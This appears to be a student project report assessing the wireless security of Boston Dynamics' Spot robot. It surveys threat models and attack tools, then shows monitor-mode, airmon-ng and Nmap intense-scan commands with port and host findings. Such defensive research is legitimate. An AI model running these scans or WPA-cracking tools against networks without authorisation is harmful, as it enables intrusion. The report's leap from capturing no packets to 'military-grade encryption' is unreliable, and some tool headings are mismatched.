A study on the PeopleBot mobile robotic platform showcased the vulnerability of cyber-physical systems to targeted wireless attacks. Researchers conducted a range of attacks, exposing key weaknesses that could compromise the robot's performance and safety.
One of the attack methods identified was command injection, in which attackers exploited vulnerabilities in the wireless communication protocols to modify commands sent to the robot. This enabled unauthorised control, potentially resulting in operational failures or unsafe behaviours. Another major vulnerability was the robot's susceptibility to denial-of-service (DoS) attacks, where communication channels were deliberately overwhelmed, causing the robot to become unresponsive to legitimate instructions and effectively ceasing its operations.
The study underscored the critical need to address these vulnerabilities through robust security measures. A primary mitigation strategy involves securing communication channels by employing encryption and enforcing proper authentication of transmitted commands, thereby reducing the likelihood of command injection and unauthorised access. Furthermore, the research highlighted the importance of implementing anomaly detection systems to monitor communication patterns and identify unusual activities that could signal a potential DoS attack.
This case highlights the broader necessity for continuous monitoring and regular updates to security mechanisms in mobile robotic platforms. By safeguarding wireless communication and adopting proactive detection methods, organisations can significantly enhance the reliability and safety of robotic systems, ensuring effective operation in both controlled and dynamic environments[31]. 
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As mobile robotics continues to advance, these systems are increasingly deployed in critical applications, from autonomous logistics to environmental monitoring. However, the integration of wireless communication, sensors, and control software exposes mobile robots to various security vulnerabilities. Assessing these vulnerabilities is essential for safeguarding functionality, protecting data integrity, and ensuring user safety. This section explores established frameworks like STRIDE and DREAD which provide structured methodologies for identifying and categorizing vulnerabilities. Furthermore, tools and techniques for wireless vulnerability detection, including Wireshark, Aircrack-ng, and simulation environments like Gazebo, are discussed to illustrate the diverse approaches available for maintaining secure robotic systems.
STRIDE
The STRIDE framework, developed by Microsoft, is an essential tool for identifying and categorizing security threats in mobile robotic systems. It categorizes six key threat types: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service (DoS), and Elevation of Privilege, which are particularly relevant for mobile robots that depend on continuous communication and sensor data. Each threat type within STRIDE targets a unique security aspect, making the model adaptable for analysing vulnerabilities in mobile robotics where real-time control and data integrity are crucial[32].
Visualizing system interactions, identifying security boundaries, and assessing points of potential compromise. For instance, spoofing and tampering could occur if unauthorised access is gained through the robot’s wireless communication channels. By systematically addressing these threat types, STRIDE allows engineers to create a detailed security profile, identifying potential risks like unauthorised command injection or DoS attacks, which can interrupt key robotic functions such as navigation or data relay. This threat model has proven effective in similar fields, such as in-vehicle systems, which face comparable risks of connectivity-based vulnerabilities, where research has highlighted STRIDE's adaptability in categorizing threats and mitigating security risks [32], [33].
STRIDE is ideal for mobile robotic environments as it allows for researchers to not only anticipate various types of attacks but also plan targeted defences. Integrating STRIDE into the assessment process enables a focused approach to enhancing the overall resilience of robotic systems against known and evolving cyber threats.
DREAD
The DREAD model is a qualitative risk assessment tool designed to evaluate and prioritize security threats across five key criteria: Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability. This model is also developed by Microsoft, DREAD remains effective for assessing security in fields like mobile robotics, where unique attack vectors, such as wireless communication and sensor vulnerabilities, can compromise system functionality. This model provides a structured approach to gauging the severity of vulnerabilities, allowing cybersecurity professionals to focus on high-impact areas first.[34], [35]
In mobile robotics, Damage Potential evaluates how severely an attack might impact a robot's operation. For instance, if an attack disrupts essential tasks like navigation or environmental sensing, the damage potential is considered high, underscoring the need for immediate mitigation measures. Robots with high damage potential vulnerabilities are especially at risk when used in critical or autonomous settings, where functionality and safety are paramount. Reproducibility assesses how easily an attacker can repeat the exploit. In mobile robotics, this might involve analysing how accessible and replicable certain attack vectors are. For instance, if a network vulnerability allows for continuous command injection, it signifies high reproducibility and, therefore, a persistent threat to the robot’s operational security[34].
The Exploitability examines the ease with which a vulnerability can be accessed and used maliciously. In mobile robotic systems, factors like exposed wireless networks or insufficient encryption may make exploitability high, as attackers can intercept or manipulate data with minimal technical effort. This risk is especially relevant in scenarios where robots operate on open or unsecured networks. Affected Users evaluates how widespread the impact of an attack could be. This is critical for robots operating in collaborative environments or interacting with multiple users, as a vulnerability could affect not only the robot but also connected devices or even end users relying on the robot for specific tasks​. 
Finally, discoverability gauges how easily a vulnerability can be identified. Systems without robust access controls or encryption protocols may have high discoverability, making it easier for attackers to find and exploit weak points. In mobile robotics, discoverable vulnerabilities can be particularly dangerous, as they might allow attackers to interfere with robot functions remotely and repeatedly​[34], [35].
TOOLS FOR VULNERABILITY DETECTION
With the rise in system vulnerabilities, the need for robust tools and methodologies to identify and address potential security threats has become increasingly important. This part of the review explores various tools, techniques, methodologies, and best practices for conducting vulnerability scans, with a particular focus on their effectiveness in robotic environments.
Wifite
Wireshark is an open-source network protocol analyser that is used to capture and examine data passed through a network. Wireshark is used by security professionals and network admins for several purposes such as monitoring network activity and troubleshooting network issues [36]Wireshark provides a GUI to make the analysis of network packets a more user-friendly experience. Wireshark can also be used to identify weak encryptions and misconfigurations, making it an effective tool for vulnerability detection [37]. 
Wireshark
Wireshark is an open-source network protocol analyser used to capture and analyse data transmitted across a network. Widely utilised by security professionals and network administrators, it serves various purposes, including monitoring network traffic and diagnosing connectivity issues[36]. [38].
Enum4linux
Enum4linux is an open-source tool designed to extract detailed information from Windows and Samba-based systems. Commonly used during penetration testing and security assessments, it enables the retrieval of data such as user accounts, groups, and shared resources, providing valuable insights for evaluating system security. [39].
NMAP and Zenmap
NMAP (Network Mapper) is a widely used network scanning tool that facilitates the discovery of hosts within a network and the collection of essential details, including operating systems, active ports, applications, and services [40]. As the most popular network scanner, NMAP can also be integrated with third-party tools to perform more extensive and detailed scans. [40]Zenmap serves as the graphical user interface (GUI) for Nmap, providing a more user-friendly way to access its features. In addition to offering all the functionality of Nmap, Zenmap includes enhancements such as network topology visualisation for improved analysis. [41]. 
Aircrack-NG
Aircrack-NG is a comprehensive suite of four tools developed for security professionals to assess the security of wireless networks. While primarily designed for Linux systems, it is also compatible with Windows, macOS, and other major operating systems. Its primary objective is to crack WEP and WPA/WPA2-PSK keys, achieved using the following tools:[42]:
Airodump-ng: This tool captures raw 802.11 frames and compiles a detailed text file containing information about all detected access points and connected clients. [43]
Aireplay-ng: This packet injection tool is commonly used to execute deauthentication and fake authentication attacks. Its primary function is to generate network traffic, aiding the operations of other tools within the Aircrack- [44].
Airmon-ng: This tool is used to enable monitor mode on wireless interfaces, allowing a wireless adapter to passively capture and monitor wireless traffic. It is a prerequisite for using the other tools in the Aircrack-ng suite. [45]. 
[46]. 
Airgeddon
Airgeddon is a bash script developed for Linux systems, aimed at assisting security professionals in evaluating the security of wireless networks. It provides a user-friendly interface (UI) for conducting various attacks and network analyses. By integrating tools such as the Aircrack-ng suite, Airgeddon enables comprehensive security assessments of Wi-Fi networks, streamlining the process for users. [47].
Metasploit
Metasploit is a powerful framework designed for penetration testing, enabling the validation of vulnerabilities within a network. It supports a variety of tasks through its extensive library of pre-built exploits, auxiliary modules, and payloads. Metasploit facilitates a broad spectrum of penetration testing activities, including vulnerability assessments, the creation of custom exploits, and efficient post-exploitation operations. [48].
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The security and reliability of wireless networks in mobile robotics, specifically Boston Dynamics' Spot, depend on the identification, assessment, and mitigation of wireless vulnerabilities. This project aims to investigate the wireless security challenges that Spot may encounter in operational environments and to propose security enhancements to mitigate potential risks. By assessing and simulating wireless security threats, this research will analyse the potential for malicious interference, signal jamming, and unauthorised access, improving the resilience of mobile robots in dynamic and potentially hostile environments.
This chapter outlines the research design, philosophy, methodologies, and data collection techniques that will guide this project. Using a structured methodology based on the research onion model, each phase of the project—from data collection and wireless vulnerability testing to impact assessment and mitigation—will be conducted in alignment with the project’s objectives. The layered research approach enables an in-depth examination of Spot's wireless vulnerabilities and ensures that each stage of testing and analysis directly contributes to the project's aim of enhancing wireless security in mobile robotics.
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The research philosophy underpins the approach used in this project, providing structure and coherence to data collection and analysis methods. A post-positivist research philosophy is suitable for this project due to its emphasis on systematic observation, measurement, and objectivity. This philosophy supports using empirical methods to collect and analyse data on wireless security vulnerabilities in Spot, ensuring that findings are based on verifiable evidence rather than subjective interpretation.
In this project, the post-positivist approach allows for the objective assessment of Spot’s wireless security, focusing on reproducible experiments that measure the impact of different wireless attacks. This method involves systematically testing for vulnerabilities and analysing the results to propose mitigations without researcher bias. The philosophy’s focus on accuracy and precision is essential for achieving reliable and valid findings, especially given the complexities involved in testing autonomous robots under various network conditions.
This approach supports the hypothesis-driven nature of the research, allowing for precise, empirical testing that can be observed and measured. The positivist philosophy underpinning this research is based on the belief that objective, observable data can be quantified and analysed scientifically to produce reliable, generalisable insights into the nature of security vulnerabilities in robotic systems[49].
By using the post-positivist philosophy, the research will objectively assess how Spot's wireless communication channels respond to various security threats, ensuring that the conclusions drawn are robust and based on measurable data.
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Figure 5: Project Timeline
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To achieve a comprehensive analysis of the wireless security vulnerabilities of Spot, this research will utilize a mixed-methods approach [45]. The primary data collection will involve quantitative methods, which focus on collecting and analysing numerical data. In this research, quantitative methods will include systematic tests such as penetration testing and network sniffing, which will gather data on wireless signal strength, packet loss, latency, and network behaviour under various conditions. This data will be statistically analysed to measure the prevalence and severity of security vulnerabilities, providing measurable, objective data essential for forming factual conclusions about Spot’s wireless security.
In addition to quantitative data, qualitative methods will also be employed, focusing on understanding phenomena through observation and interpretation, often involving non-numerical data. For this project, qualitative methods will encompass the detailed analysis of testing logs, observations of Spot’s behaviour under simulated wireless threats, and any vulnerabilities found while testing. This data will offer deeper insights into the causes and implications of identified security weaknesses, providing a nuanced understanding that complements the quantitative data [50].
By combining these approaches, this research achieves a well-rounded analysis, ensuring that the evaluation of Spot’s wireless security is both data-driven and contextually rich, supporting actionable recommendations for enhancing its resilience in real-world applications.
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The approach for this project utilizes a multi-method strategy to comprehensively investigate wireless security vulnerabilities in mobile robotics, specifically focusing on Boston Dynamics' Spot. This mixed-method approach combines both quantitative and qualitative research to allow for a robust evaluation of the security landscape surrounding mobile robotics. Quantitative research will provide empirical data that assesses the scope and severity of specific wireless vulnerabilities, enabling objective measurements of factors such as signal strength, packet loss, and response latency under simulated attack conditions.
Simultaneously, qualitative research will enrich this analysis by providing observational insights into the real-world impact of wireless security threats on Spot’s behaviour. Through detailed observation and analysis of testing logs, as well as expert consultations, qualitative methods will offer a deeper understanding of the causes and implications of identified security weaknesses, complementing the objective data with contextually meaningful interpretations.
This combination of quantitative and qualitative data will lead to a comprehensive understanding of Spot’s wireless security vulnerabilities. The multi-method approach ensures that the project’s findings are not only data-driven but also contextually informed, supporting a balanced and thorough basis for formulating mitigation strategies to enhance the resilience of mobile robotic systems.
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To effectively address the research aims of identifying and mitigating wireless security vulnerabilities in mobile robotics, a structured research strategy will be employed. This strategy combines a literature review, hands-on vulnerability testing, and expert consultation to provide a comprehensive perspective on Spot's wireless security challenges.
The project begins with a detailed literature review to establish a foundation in wireless security for mobile robotics. This review will examine prior studies, industry standards, and relevant case studies, ensuring that the research is grounded in current best practices and emerging threats. The literature review serves as a reference point for identifying typical wireless vulnerabilities in mobile robotics and the defensive strategies commonly recommended in the field.
Following this theoretical foundation, the project will shift to vulnerability testing conducted in a controlled environment. This stage involves systematically probing Spot's wireless communication systems to identify potential weaknesses. Specific techniques, such as packet sniffing and signal jamming, will be applied to simulate real-world threats, while tools like Wireshark and network scanning software will collect quantitative data on Spot’s responses. This controlled environment ensures that testing can proceed safely, allowing for a thorough examination of vulnerabilities without posing a risk to actual operational settings.
This multi-phase strategy—combining literature review, hands-on testing, and expert consultation—ensures that the research will thoroughly address the wireless security vulnerabilities in Spot, enabling the development of targeted recommendations for improved security measures.
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Given Spot’s advanced security features, it is possible that no significant vulnerabilities will be identified directly due to the use of robust, military-grade encryption and secure protocols. To ensure the research objectives are met regardless of these constraints, a contingency plan has been developed. This plan involves setting up a controlled host environment designed to simulate common wireless vulnerabilities and assess potential security risks that could affect wireless robotics.
The contingency plan will use a network emulator or host device configured with wireless protocols and encryption standards akin to those utilized in mobile robotics. By replicating typical communication channels (e.g., Wi-Fi, Bluetooth) and security settings, this host environment will allow for the testing of simulated attacks such as unauthorised access, man-in-the-middle (MITM) attacks, and weak encryption exploitation. The host setup will mimic Spot’s communication patterns, enabling a realistic assessment of vulnerabilities that could affect similar robotic systems.
The data obtained from this host environment will still be valuable in illustrating common vulnerabilities and potential attack vectors in mobile robotic systems. While it may not replicate Spot’s exact encryption, the host environment will provide a comparable setting to test and observe the effects of various wireless security threats. This contingency plan ensures that meaningful data can be collected and analysed, allowing the project to fulfil its objectives even if Spot’s direct security defences prevent vulnerability detection.
The findings from the contingency testing will be documented alongside any vulnerabilities identified directly from Spot. Combined, these results will provide a comprehensive overview of wireless security risks in mobile robotics, ensuring that the project delivers practical insights and recommendations for enhanced security.
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The Design section outlines the systematic approach used to investigate and assess the wireless security vulnerabilities of Boston Dynamics' Spot robot. This section describes each phase of testing, from the initial reconnaissance to controlled attack simulations, and includes a contingency plan to ensure comprehensive results, even if the primary approach encounters limitations. The objective is to gather detailed empirical data on Spot’s resilience against common wireless threats and to document any vulnerabilities that could compromise its operational integrity in real-world environments.
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The primary goal of this project is to identify and assess potential wireless security vulnerabilities in Spot, specifically focusing on threats such as unauthorised access, signal jamming, and packet sniffing. Each testing phase will target specific areas of wireless communication, allowing for a comprehensive examination of Spot’s current security configuration. The project assumes that Spot’s wireless communications may have military-grade encryption, potentially limiting vulnerability detection. Considering this, a contingency plan is prepared to establish a simulated host environment to explore typical vulnerabilities should Spot’s security prove too robust.
The testing process is designed to answer the following key questions:
1- What are the potential entry points in Spot’s wireless communication setup that could be exploited by attackers?
2- How resilient is Spot to common wireless threats like jamming, packet interception, and unauthorised access?
3- What mitigation strategies can enhance Spot's wireless security to ensure safe operation in sensitive environments?
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The pre-assessment phase sets the groundwork for testing Spot’s wireless security by establishing baseline conditions, defining the scope of testing, and securing necessary permissions. This phase involves collecting initial data on Spot’s wireless communication under standard operating conditions to provide a reference for later comparisons during vulnerability testing.
To establish a baseline, key performance metrics such as signal strength, data transmission rate, and response latency will be measured while Spot operates in a secure, interference-free environment. These baseline metrics serve as control values, making it possible to identify any deviations or disruptions caused by subsequent wireless threats. Tools like Wireshark will be used to monitor network activity and capture standard communication patterns, which will help differentiate normal behaviour from behaviour under attack.
In this phase, all essential equipment for testing Spot’s wireless communications, including network scanning tools, packet analysers, and signal interference devices, will be set up and configured. Ethical approval and permissions from relevant stakeholders, including Boston Dynamics, will be obtained to ensure compliance with institutional and legal guidelines. These measures ensure that all testing remains within authorized boundaries and is conducted responsibly without unintended disruptions to Spot’s functionality.
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The reconnaissance phase is critical for gathering a detailed understanding of Spot’s network environment, focusing on mapping its wireless communication setup, identifying potential vulnerabilities, and informing subsequent testing phases. This phase involves using network analysis tools, specifically Nmap and Wireshark, to identify open ports, active services, communication protocols, and data flow patterns within Spot’s wireless system.
To begin, Nmap will be utilized to scan Spot’s network and identify IP addresses associated with both the robot and any devices or servers it communicates with. By conducting both TCP and UDP scans, Nmap will reveal all accessible ports and services, distinguishing between those that are essential for Spot’s operation and any that may be unintentionally exposed. For instance, open TCP ports often indicate services such as HTTP or SSH, which could be susceptible to interception or unauthorised access. UDP scans, meanwhile, are useful for uncovering services like DNS or SNMP, which could present additional security risks if not properly secured. By examining the types of protocols in use and the associated port configurations, this phase seeks to identify specific areas where Spot’s network may be vulnerable to attack[40].
Wireshark will be employed alongside Nmap to capture live packet data, providing a granular view of Spot’s network traffic. This tool will help filter and analyse packet flow, enabling a detailed examination of Spot’s communication channels. Wireshark’s protocol analysis capabilities will allow for the detection of encryption protocols, identifying whether data transmitted by Spot is securely encrypted or if any communication occurs over unencrypted channels. In addition to monitoring protocol types, Wireshark will capture packet headers to reveal any patterns in data transfer, such as the frequency and size of packets transmitted under different conditions. This data is essential for understanding typical communication behaviour, establishing a baseline for identifying anomalies during later testing[51], [52].
An important objective of this reconnaissance phase is to assess the robustness of Spot’s encryption methods. By identifying unencrypted or weakly encrypted channels, this phase highlights potential points of interception that could be exploited during controlled attacks. Similarly, the identification of unused or unprotected open ports will provide strategic entry points for testing unauthorised access attempts. Each aspect of this reconnaissance data will directly inform the design of specific vulnerability assessments, such as man-in-the-middle attacks or packet sniffing, targeting areas of Spot’s network that are most at risk.
Overall, the reconnaissance and network mapping phase provide a foundational understanding of Spot’s wireless configuration and potential security gaps. The insights gathered here will be crucial for conducting focused and effective vulnerability tests in subsequent phases, ensuring that each step of the investigation targets genuine areas of risk within Spot’s communication network.
[bookmark: _Toc184369189]Vulnerability assessment and testing
The vulnerability assessment and testing phase is the core of this project, where controlled wireless attacks are executed to evaluate Spot's resilience to common security threats. This phase involves a systematic approach to simulating attacks such as signal jamming, packet sniffing, and unauthorised access attempts, with each test tailored to examine specific aspects of Spot’s wireless security. By leveraging a combination of penetration testing tools and controlled network interference, this phase seeks to uncover any weaknesses in Spot’s wireless communication and identify areas where security could be enhanced.
The first step in this phase is penetration testing, where Spot’s wireless network will be subjected to simulated attacks that mimic real-world threats. The objective of penetration testing is to exploit potential vulnerabilities in Spot’s network setup, such as open ports or weak encryption protocols identified in the reconnaissance phase. Using tools like Wireshark and Zenmap, network traffic will be intercepted and analysed to determine if unauthorised access or data manipulation is possible. Aircrack-ng will be used to assess Spot’s Wi-Fi security protocols, targeting known vulnerabilities in WPA2 to attempt unauthorised access or packet decryption. Wireshark will capture packet flow during these tests to monitor Spot’s reaction to attempted intrusions, enabling a comprehensive analysis of its resilience to unauthorised data interception.
A key component of this phase is the signal jamming and interference testing. This test will assess Spot’s ability to maintain stable wireless communication under conditions of signal interference, which could result from intentional jamming attacks or unintentional interference in real-world settings. Signal jammers will be employed to disrupt the frequency ranges used by Spot, simulating scenarios where communication is degraded or lost. The test will be conducted at varying distances and power levels to observe the extent to which Spot’s operational performance is impacted by signal strength reduction. Metrics such as response latency, packet loss rate, and command execution failures will be measured to quantify the effects of jamming on Spot’s performance. This aspect of the testing is essential for understanding how signal integrity affects Spot’s ability to operate autonomously in potentially hostile or crowded environments.
In addition to direct attacks, this phase will include packet sniffing and eavesdropping tests. These tests will simulate scenarios where an attacker intercepts data packets transmitted between Spot and its control systems. By using Wireshark in conjunction with monitoring tools, packet data such as command instructions and telemetry information will be captured and analysed. The goal is to determine if sensitive information can be intercepted, revealing potential weaknesses in Spot’s encryption mechanisms. Special attention will be paid to identifying any unencrypted or weakly encrypted packets, as attackers could exploit these to gain insights into Spot’s operations or issue malicious commands.
Finally, each vulnerability assessment will be accompanied by a behavioural observation component, where Spot’s responses to the simulated attacks are documented in real time. Observations will focus on anomalies in Spot’s operation, such as delays, movement inconsistencies, and error messages that may indicate compromised functionality. This qualitative data will provide insight into the real-world implications of wireless vulnerabilities, illustrating how security threats could impact Spot’s performance in practical applications.
The vulnerability assessment and testing phase concludes with a detailed analysis of findings, where the quantitative data (such as packet loss rates and response times) and qualitative observations are combined to provide a comprehensive overview of Spot’s wireless security status. This phase not only identifies potential vulnerabilities but also highlights practical areas for improvement, ensuring that recommendations for enhanced security measures are well-informed and targeted.
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The implementation phase of this project focused on the practical assessment of wireless security in mobile robotics, using Boston Dynamics' Spot robot as a case study. This stage aimed to bridge the theoretical insights gained from the literature review with hands-on experimentation, evaluating the effectiveness of Spot’s security measures and identifying potential vulnerabilities in its communication protocols and network architecture.
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To effectively conduct wireless vulnerability assessments, it is essential to configure the wireless adapter to operate in monitor mode. Monitor mode allows the adapter to capture all wireless traffic within its range, which is crucial for tasks like packet sniffing and analysing data flows.
Equipment and Setup
· Wireless Adapter: Alpha Network Adapter, equipped with Realtek RTL8812AU chipset, capable of supporting 802.11a/b/g/n/ac networks.
· Operating System: Kali Linux, a Linux distribution tailored for penetration testing and security research.
· Terminal Tools: ifconfig and airmon-ng, widely used for network configuration and monitoring.
Step-by-Step Procedure
1. Verify Adapter's Default State:
· The command ifconfig wlan0 was used to confirm that the wireless interface wlan0 was operating in managed mode. Managed mode allows the adapter to connect to a specific wireless network but does not permit promiscuous packet capture.
· Output verified the IP configuration of the adapter, showing it was currently associated with the local network.
2. Disable the Wireless Interface:
· To reconfigure the adapter, it was first disabled using: sudo ifconfig wlan0 down.
· This step ensures that the adapter is not actively managing any connections, preventing conflicts during mode switching.
3. Enable Monitor Mode:
· The airmon-ng utility was employed to switch the adapter to monitor mode: sudo airmon-ng start wlan0.
· The output confirmed that monitor mode was successfully enabled for the interface, as indicated by the message monitor mode enabled.
4. Resolve Potential Interferences:
· airmon-ng identified active processes (NetworkManager and wpa_supplicant) that could interfere with the interface's monitor mode functionality.
· These processes were terminated using: sudo airmon-ng check kill.
· This step ensures optimal performance of the wireless adapter in monitor mode by preventing channel switching or reconnection attempts by the network manager.
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[bookmark: _Toc184247292]Figure 8: Capturing Network Traffic for Spot using Wireshark.
Capturing Network Traffic Using Wireshark
Wireshark was used to capture and analyse network traffic between the Boston Dynamics Spot robot and its control system. The wireless interface wlan0, previously set to monitor mode, was selected to intercept communication.
Key Steps:
1. Interface Selection:
· The interface wlan0 was chosen to monitor wireless traffic.
2. Filter Application:
· A capture filter, host 192.168.80.3, was applied to isolate traffic associated with Spot's IP address, ensuring only relevant packets were recorded.
3. Traffic Monitoring:
· Wireshark was used to log live data, focusing on protocols, packet size, and potential anomalies.
This setup allows analysis of Spot’s communication protocols to identify vulnerabilities, such as unencrypted data or unusual traffic patterns, which could indicate security risks. Captured traffic will be further examined to assess encryption strength and detect potential threats.
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[bookmark: _Toc184247293]Figure 9: No Traffic Captured on Spots Network
Wireshark was utilised to monitor network traffic from Boston Dynamics' Spot while the robot was in motion. The objective was to capture data packets and analyse them for any potential vulnerabilities, including unencrypted data or anomalous traffic patterns.
Setup and Execution
· Interface and Filter: The wlan0 interface (in monitor mode) was used to capture traffic, with a filter applied to isolate communication involving Spot’s IP address (192.168.80.3).
· Scenario: Spot was actively moving to simulate real-world operations, ensuring that communication between the robot and its control system would be ongoing.
Observations
· No packets were observed or captured during the monitoring session, despite the robot's activity and the configured capture filter.
· This suggests that Spot's communication is either hidden through advanced encryption protocols or utilizes methods that render traffic undetectable to external monitoring tools.
Interpretation
The absence of detectable packets reinforces the hypothesis that Spot employs highly secure, military-grade encryption or stealth communication techniques. These features obscure its network activity, preventing unauthorised monitoring or interception.

Implications
The inability to capture traffic highlights the robustness of Spot’s security measures but also poses challenges for vulnerability assessment. This finding aligns with the literature review's discussion on the advanced security features in Boston Dynamics' robots. Future tests may need to explore alternative methods, such as simulated environments, to identify vulnerabilities typical of wireless robotic systems.
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[bookmark: _Toc184247294]Figure 10: Zenmap Scan of Spot
To further investigate the wireless communication and network security of Boston Dynamics' Spot, Zenmap, the graphical interface for Nmap, was employed to perform an intense scan targeting the robot’s networks IP address (192.168.80.0/24).
Setup and Configuration
· Target: The IP address 192.168.80.0/24, assigned to Spot, was entered into the target field in Zenmap.
· Scan Profile: The Intense Scan profile was selected, which runs Nmap with the following parameters: nmap -T4 -A -v 192.168.80.0/24.
This profile conducts a comprehensive scan, including service detection, operating system fingerprinting, and traceroute, alongside a detailed examination of open ports and protocols.
Purpose of the Scan
The intense scan was chosen to:
1. Identify Open Ports: Detect any open or active ports on Spot’s network interface that may indicate available services or potential vulnerabilities.
2. Service Detection: Determine what services are running on open ports and evaluate their security posture.
3. Operating System Fingerprinting: Gather details about Spot’s underlying operating system or communication protocols, which could offer insights into its network architecture.
4. Traceroute Analysis: Map the communication path to Spot, ensuring no intermediate network devices or anomalies impact its connection.
Rationale for Using Zenmap
Zenmap was chosen for its:
· User-Friendly Interface: Simplifies the complex outputs of Nmap into readable results with categorized sections like hosts, services, and topology.
· Detailed Scans: Offers pre-configured profiles, such as intense scan, for thorough network analysis.
· Visualization Tools: Displays network topology and communication paths, which are useful for mapping Spot’s network environment.
Expected Outcomes
The goal of this scan is to uncover:
· Any active communication services or open ports that could be exploited.
· Hidden details about Spot’s network protocols or security mechanisms.
· Confirmation of robust security features, such as the absence of open ports or well-encrypted services.
The results from this scan will be analysed to evaluate the effectiveness of Spot’s network security and its resilience to potential attacks.
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[bookmark: _Toc184247295]Figure 11: Zenmap Intense Scan Results
The Zenmap intense scan targeting Spot's IP address (192.168.80.3) successfully identified detailed information about the robot’s network configuration and services. The findings from the "Host Details" tab are summarized below:
Key Findings
1. Host Status:
· The host (192.168.80.3) is up, confirming Spot's active presence on the network.
2. Open Ports:
· Port 22 (TCP): Open and associated with SSH (Secure Shell), potentially indicating remote access capabilities.
· Port 80 (TCP): Identified as closed, associated with HTTP services, though not currently active.
3. Filtered and Closed Ports:
· 995 ports were filtered, indicating robust firewall or security measures actively blocking access.
· Three ports were closed, further suggesting limited-service exposure.
4. Operating System:
· Detected as Linux 2.6.32 - 3.13, with a 95% confidence level. This suggests that Spot is running a general-purpose Linux-based OS optimized for embedded systems.
5. MAC Address:
· The MAC address 00:30:1A:4F: 64:10 was identified, which can be used to verify the manufacturer and network hardware details.
6. Uptime and Last Boot Time:
· The scan indicated that Spot’s last boot time was Thursday, November 14, 2024, based on its uptime logs. However, Spot was powered off and booted again during the testing process, suggesting that the uptime logs may not have updated to reflect this recent activity. This is due to the robot retaining cached log data.
Analysis
· The presence of Port 22 (SSH) is noteworthy, as it may provide a secure method for managing Spot remotely. However, if improperly configured, it could be a potential entry point for attackers. The absence of other open ports highlights Spot’s strong network segmentation and limited exposure to external threats.
· The filtered ports and robust operating system classification reflect a high level of security, consistent with the military-grade encryption and protection systems discussed in the literature review.
Implications
The scan confirms that Spot is heavily secured with minimal network exposure. While this ensures strong protection, it limits opportunities for direct vulnerability exploitation. These findings will guide further assessments by focusing on the open SSH port for potential misconfigurations or exploitation attempts.
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[bookmark: _Toc184247296]Figure 12: Zenmap Ports/hosts results.
The Ports/Hosts tab from the Zenmap scan provides additional details about the open and closed ports detected on Spot's IP address (192.168.80.3). Below is a summary and interpretation of these findings:


Key Findings
1. Open Ports:
· Port 22 (TCP): Open and associated with SSH (OpenSSH 8.9p1, protocol 2.0). This indicates secure remote access functionality, for maintenance or administrative tasks.
· Port 443 (TCP): Open and associated with HTTPS, potentially using a Nginx server. This could indicate a web-based interface or encrypted data communication.
2. Closed Ports:
· Port 80 (TCP): HTTP port, typically used for unencrypted web traffic, is closed, suggesting that Spot does not allow unsecured HTTP connections.
· Ports 31038 and 31337 (TCP): These ports are closed but noted, potentially hinting at custom services or diagnostic tools previously configured but currently inactive.
Analysis
· The presence of SSH (Port 22) is critical for remote access and system management. While secure by design, misconfigurations or outdated versions could make this a potential entry point for attackers. Spot’s use of OpenSSH 8.9p1 suggests an updated, modern implementation, reducing this risk.
· Port 443 (HTTPS) being open suggests that Spot uses encrypted communication, for a secure web-based control interface or telemetry transfer. This aligns with the military-grade encryption measures highlighted in the literature review.
· The absence of open ports associated with common vulnerabilities, such as Port 80 (HTTP), demonstrates strong security practices in reducing exposure to unsecured protocols.
Implications
The findings reinforce Spot’s robust network security, characterized by minimal open ports and a focus on secure communication channels. Further testing will focus on evaluating the configuration and security of open services, particularly SSH and HTTPS, to ensure they are hardened against potential exploitation.
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[bookmark: _Toc184247297]Figure 13: Zenmap Topology of Spot
The Topology Tab from the Zenmap scan visually maps the network architecture, including Spot’s position and its connections within the subnet (192.168.80.0/24). This representation provides a clearer understanding of the robot's network environment.
Key Observations
1. Host Position:
· Spot's IP address (192.168.80.3) is identified as one of the key nodes on the network, with connections to nearby devices (192.168.80.100 and 192.168.80.102) and external points.
· Spot is centrally placed within the topology, indicating it plays a significant role in the network's communication.
2. Network Layout:
· Multiple concentric rings visually represent the distance or number of hops between hosts on the network.
· Spot is directly connected to the immediate devices in its subnet, suggesting low latency and efficient communication.
3. Connected Hosts:
· 192.168.80.100 and 192.168.80.102 are nearby devices, potentially other nodes in the same subnet.
· The external host (3-80-169-192.static.reverse.lstn.net) appears to be a gateway or public-facing connection, hinting at potential data exchanges with external networks.
4. Interconnectivity:
· The diagram confirms that Spot communicates directly within the private network while also being indirectly linked to external entities via intermediate nodes.
Analysis
· The topology reveals Spot’s structured network environment, emphasizing its reliance on secure subnet communications. The connections are streamlined, reducing unnecessary exposure to external threats.
· The mapping highlights potential external connections through a gateway, reinforcing the importance of securing external-facing communication points.
[bookmark: _Toc184369193]Summary of Findings and Transition to Contingency Plan
The comprehensive scans and analyses performed on Boston Dynamics' Spot, including network traffic monitoring with Wireshark, in-depth host, and port analysis with Zenmap, and examination of network topology, revealed no significant vulnerabilities that could be exploited for the vulnerability assessment.
Key Findings:
· Wireshark Analysis: No packets were captured during Spot’s operation, suggesting robust encryption or communication obfuscation.
· Zenmap Scan: Spot displayed minimal network exposure with limited open ports (SSH and HTTPS), both of which appeared securely configured.
· Topology Mapping: Spot’s position within the network revealed a structured and secure environment with no unnecessary exposure to external threats.
These results align with expectations based on Spot’s advanced, military-grade encryption and security measures. While these findings confirm Spot’s resilience against common vulnerabilities, they also limit opportunities for direct security assessments within its real-world environment.
Transition to Contingency Plan:
Due to the absence of exploitable vulnerabilities in Spot’s network and communication systems, the project will proceed with the contingency plan. This involves simulating a controlled environment that replicates typical robotic communication setups to identify potential weaknesses. The simulated 
environment will allow for:
· Testing vulnerabilities typical of mobile robotic systems.
· Assessing the impact of simulated attacks, such as packet sniffing, jamming, and spoofing.
· Proposing and validating enhanced security measures in a controlled context.
The contingency plan ensures the project objectives remain achievable by exploring vulnerabilities and mitigation strategies applicable to mobile robotics more broadly, even when direct exploitation of Spot is not feasible.
[bookmark: _Toc184369194]Contingency Plan
[bookmark: _Toc184369195]Setting Up the Virtual Machine Simulating Spot
As part of our project into the potential wireless vulnerabilities of Boston Dynamics’ Spot robot, we set up a virtual machine (VM) running a Linux operating system. This VM serves as a simulation environment for testing various attack vectors and assessing vulnerabilities in a controlled manner.
Why Linux?
Boston Dynamics’ Spot robot utilizes Linux as its underlying operating system, as identified through publicly available documentation and analysis. Many robotic systems leverage Linux for its flexibility, open-source nature, and robust ecosystem of tools and libraries tailored for robotics (e.g., ROS). Additionally, specific services like SSH, Telnet, and web servers, which are typical of Linux systems, were identified to be potentially active on Spot based on its role as a networked robotic device.
